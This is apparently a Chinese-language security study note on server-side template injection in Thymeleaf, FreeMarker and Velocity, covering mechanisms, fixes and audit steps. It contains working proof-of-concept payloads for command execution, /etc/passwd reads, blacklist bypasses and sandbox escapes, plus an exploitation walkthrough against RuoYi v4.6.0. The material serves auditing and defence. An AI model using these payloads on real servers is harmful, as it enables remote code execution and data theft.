Thymeleaf模板注入漏洞
简介
Thymeleaf服务器端模板注入(Server-Side Template Injection, SSTI)漏洞,通常发生在应用程序不安全地使用用户提供的动态输入来构建或解析Thymeleaf模板时。
简单来说,就是当你的应用程序将用户可控的数据直接作为Thymeleaf模板的一部分进行渲染时,攻击者可以通过精心构造恶意的Thymeleaf表达式作为输入发送给服务器。Thymeleaf引擎在处理这些数据时,会将其误认为是合法的模板指令或表达式,并尝试在服务器端执行这些恶意代码。
攻击原理
Thymeleaf强大的表达式语言是其核心特性之一,它允许开发者动态地设置模板中的值、执行逻辑、调用方法等。例如,${user.name}会被替换为用户的名字。
然而,如果攻击者能够控制这个表达式的内容,他们就可以注入恶意的Java代码,让Thymeleaf引擎在服务器上执行。一个经典的例子就是利用Java的反射机制来执行系统命令:
1 | ${T(java.lang.Runtime).getRuntime().exec('calc')} |
这个表达式的含义是:
- T(…):Thymeleaf表达式中的一个特殊语法,用于引用Java类。
- java.lang.Runtime:Java标准库中用于与运行时环境交互的类。
- .getRuntime():获取Runtime类的单例实例。
- .exec(‘calc’):调用Runtime实例的exec方法来执行一个系统命令。在这里,它会尝试启动计算器程序(calc命令在Windows上有效)。
如果应用程序没有对用户输入进行严格的验证和过滤,并且将包含此恶意表达式的字符串直接传递给Thymeleaf引擎进行解析,那么calc命令就会在运行应用程序的服务器上被执行。
漏洞版本及修复
Thymeleaf 3.0.0至3.0.11版本存在这种模板注入漏洞。这些版本在处理一些动态表达式时可能存在缺陷,允许未经授权的代码执行。
针对Thymeleaf SSTI漏洞,可以采取以下修复和防范措施:
升级Thymeleaf版本
这是最根本的解决方法。Thymeleaf在 3.0.12 及以后版本中增加了安全检测逻辑(
SpringStandardExpressionUtils),会检查表达式是否包含危险的new关键字或T(...)形式的静态方法调用。虽然高版本可能存在绕过方式(如在T和类名之间插入空格T (Runtime))安全的编码实践(治本之策)
- 避免用户输入直接参与视图名拼接:这是最关键的代码审计和开发原则。
- **使用
@ResponseBody或@RestController**:如果控制器方法只需返回数据而非视图名称,使用这些注解可以避免Spring进行视图解析。 - 返回重定向视图:在返回值前明确加上
"redirect:",这样会由RedirectView处理,而不是Thymeleaf视图解析器。 - **方法参数中添加
HttpServletResponse**:当方法参数中包含HttpServletResponse时,Spring会认为响应已由应用程序处理,从而跳过视图解析
POC及一些的绕过姿势
1 | ${T(java.lang.Runtime).getRuntime().exec("calc.exe")} |
3.0.15版本绕过可参考:https://cloud.tencent.com/developer/article/2501660
Thymeleaf 3.0.15版本中只要检测到"{"就会认为存在表达式内容,随后直接抛出异常停止解析来防范模板注入问题,此类场景用于我们URL PATH、Retruen、Fragment等可控的情况下进行,但是如果我们存在对模板文件进行更改、创建、上传等操作的时候我们还可以精心构造恶意的JAVA代码并将其写入模板中,随后触发执行
1 | [[${T(ch.qos.logback.core.util.OptionHelper).instantiateByClassName("org.springframework.expression.spel.standard.SpelExpressionParser","".getClass().getSuperclass(),T(ch.qos.logback.core.util.OptionHelper).getClassLoader()).parseExpression("T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')").getValue()}]] //拿来绕黑名单 |
在Thymeleaf 3.0.15版本之后的模板注入主要集中在黑名单的绕过以及寻找可以更改目标文件的位置,例如:编辑、上传等功能点位
在3.0.12版本中的绕过可参考文章文章:https://rivers.chaitin.cn/blog/cq950pp0lnechd244ga0
RuoYi-v4.6.0
一切的前提肯定要存在themeleaf依赖,该项目依赖版本为3.0.11
对于模板注入的审计步骤:
1、关注是否存在模板文件篡改的问题(偏黑盒)
(1)后端模板文件修改
(2)任意文件上传覆盖模板文件:文件名要可控并且可以实现路径穿越从而进行覆盖
2、关注访问路由解析寻找对于模板文件是否可控(白盒)
1 | (1)return "home-" + lang;(CN or EN) //正则表达匹配,关键是要有return和+ |
我们可以查看头像文件上传方法
跟进去发现有限制文件后缀名

白名单中允许上传html文件

但是上传后的文件名会进行随机编码,所以无法进行覆盖

第一种方式行不通,所以我们需要找找第二种方式是否存在,所以先进行全局搜索::

可以看到符合条件的有四个,我们随便进一个看看具体情况

也可以看到没有进行任何的过滤处理等等,该路由为post传参fragment=${T(java.lang.Runtime).getRuntime().exec("calc.exe")},构造请求,可以成功实现注入
FreeMarker模板注入漏洞
安全配置
2.3.17版本以后,官方版本提供了三种TemplateClassResolver对类进行解析:
1、UNRESTRICTED_RESOLVER:可以通过ClassUtil.forName(className)获取任何类。
2、SAFER_RESOLVER:不能加载freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor这三个类。
3、ALLOWS_NOTHING_RESOLVER:不能解析任何类。可通过freemarker.core.Configurable#setNewBuiltinClassResolver方法设置TemplateClassResolver,从而限制通过new()函数对freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor这三个类的解析
实现FreeMaker模板渲染的核心步骤如下所示:
1 | import freemarker.template.Configuration; |
应的模板文件 hello.ftl(通常放在 src/main/resources/templates/目录下)内容如下
1 | <!DOCTYPE html> |
如果想要进行安全配置的话,在上面的java代码中可以添加如下内容:
1 | // 禁止解析ObjectConstructor、Execute和JythonRuntime这三个危险类 |
POC
命令执行POC
1.利用new内置函数执行命令
1 | <#assign ex="freemarker.template.utility.Execute"?new()> |
<#assign ex=...>:这是FreeMarker的赋值指令
2.利用api内置函数执行命令
1 | <#assign uri=object?api.class.protectionDomain.codeSource.location.toURI()> |
3.利用ObjectConstructor执行命令
1 | <#assign obj="freemarker.template.utility.ObjectConstructor"?new()> |
文件读取POC
1.读取任意文件内容
1 | <#assign is=object?api.class.getResourceAsStream("/etc/passwd")> |
2.使用FileInputStream读取文件
1 | <#assign fis="java.io.FileInputStream"?new("/etc/passwd")> |
3.读取文件并输出全部内容
1 | <#assign obj="freemarker.template.utility.ObjectConstructor"?new()> |
漏洞存在
基本上该种模板注入漏洞存在于后端模板文件修改或上传的功能点,对应跟进去看代码,跟到最后基本就是通过process()函数来进行一个渲染,过程中要注意是否有进行一些安全配置
沙箱绕过
参考文章:https://cloud.tencent.com/developer/article/2463939
Freemarker存在编辑模板功能时为了防止模板注入通常会使用Configuration.setNewBuiltinClassResolver(TemplateClassResolver)或设置new_builtin_class_resolver来限制内建函数对类的访问(从 2.3.17版开始),该配置有以下三种参数:
- UNRESTRICTED_RESOLVER:可以通过ClassUtil.forName(String)获得任何类
- SAFER_RESOLVER:禁止加载ObjectConstructor,Execute和freemarker.template.utility.JythonRuntime这三个类
- ALLOWS_NOTHING_RESOLVER:禁止解析任何类
2.3.30以下
方式1:绕过class.getClassloader反射加载Execute类
我们可以使用java.security.protectionDomain的getClassLoader方法来获得类加载器,随后再一步一步反射调用Execute类,此payload构造时需要在数据模型中找到一个作为对象的变量
1 | <#assign classloader=<<object>>.class.protectionDomain.classLoader> |
举个例子,如下如所示,将payload中的object替换为archive插入载荷

方式2:Spring Beans可用时直接禁用沙箱
此payload需要freemarker+spring并设置setExposeSpringMacroHelpers(true)或是application.propertices中配置spring.freemarker.expose-spring-macro-helpers=true
1 | <#assign ac=springMacroRequestContext.webApplicationContext> |
2.3.30以上
Freemarker在2.3.30中引入了一个基于MemberAccessPolicy的新沙箱且默认使用DefaultMemberAccessPolicy,但是漏洞的防护需要同时配置NewBuiltinClassResolver,否则用最开始的绕过payload即可攻击
首先查看黑名单文件unsafeMethods.properties文件发现其中并没有对ProtectionDomain.getClassLoader进行任何限制

紧接着发现在2.3.30以上引入的memberAccessPolicy策略,发现DefaultMemberAccessPolicy有个对应的DefaultMemberAccessPolicy-rules文件,查看DefaultMemberAccessPolicy-rules时可以看到ProtectionDomain.getClassLoader在2.3.30开始已经被block

@whitelistPolicyAssignable的意思是这个类下面被列出来的方法就是白名单方法,如果前面有#的就不再是白名单方法
但是只要配置中expose-spring-macro-helpers为true,那么就依旧可以执行禁用沙箱的payload
1 | <#assign ac=springMacroRequestContext.webApplicationContext> |
总结
如果使用freemarker并给予编辑模版权限,除非freemarker版本在2.3.30及以上并配置new-builtin-class-resolver,否则均可被攻击,即使达到如上条件,如果expose-spring-macro-helpers为true,依然可以执行命令
Velocity模板注入漏洞
解析方法使用
Velocity在实际开发中有两种写法,一种是采用evaluate方法解析,一种是采用merge方法解析两种方法根据实际是应用场景需求选择,其本质都是对内容进行VTL解析
evaluate()动态解析字符串
注:下面是java代码
1 | String dynamicTemplate="Hello, $user! Today is $dateTool.format('yyyy-MM-dd')"; |
输出结果:
1 | Hello, Alice! Today is 2026-01-13 |
merge()解析预定义模板
1 | //适用于:Web页面渲染等固定模板场景 |
模板文件
1 | <ul> |
输出结果
1 | <ul> |
POC
<=2.4(?
1 | //无回显 |
审计思路
1、看是否引入对应的依赖,关注版本是否符合利用<=2.4
2、通过全局搜索.evaluate(或.merge(或.getTemplate(方法查看是否存在使用
3、Velocity.evaluate(context,writer,”LogTag”,dynamicTemplate);关注dynamicTemplate是否可控,并且没有对输入进行过滤或限制
4、template.merge(context,writer);关注实例化的模板文件内容是否可控或可修改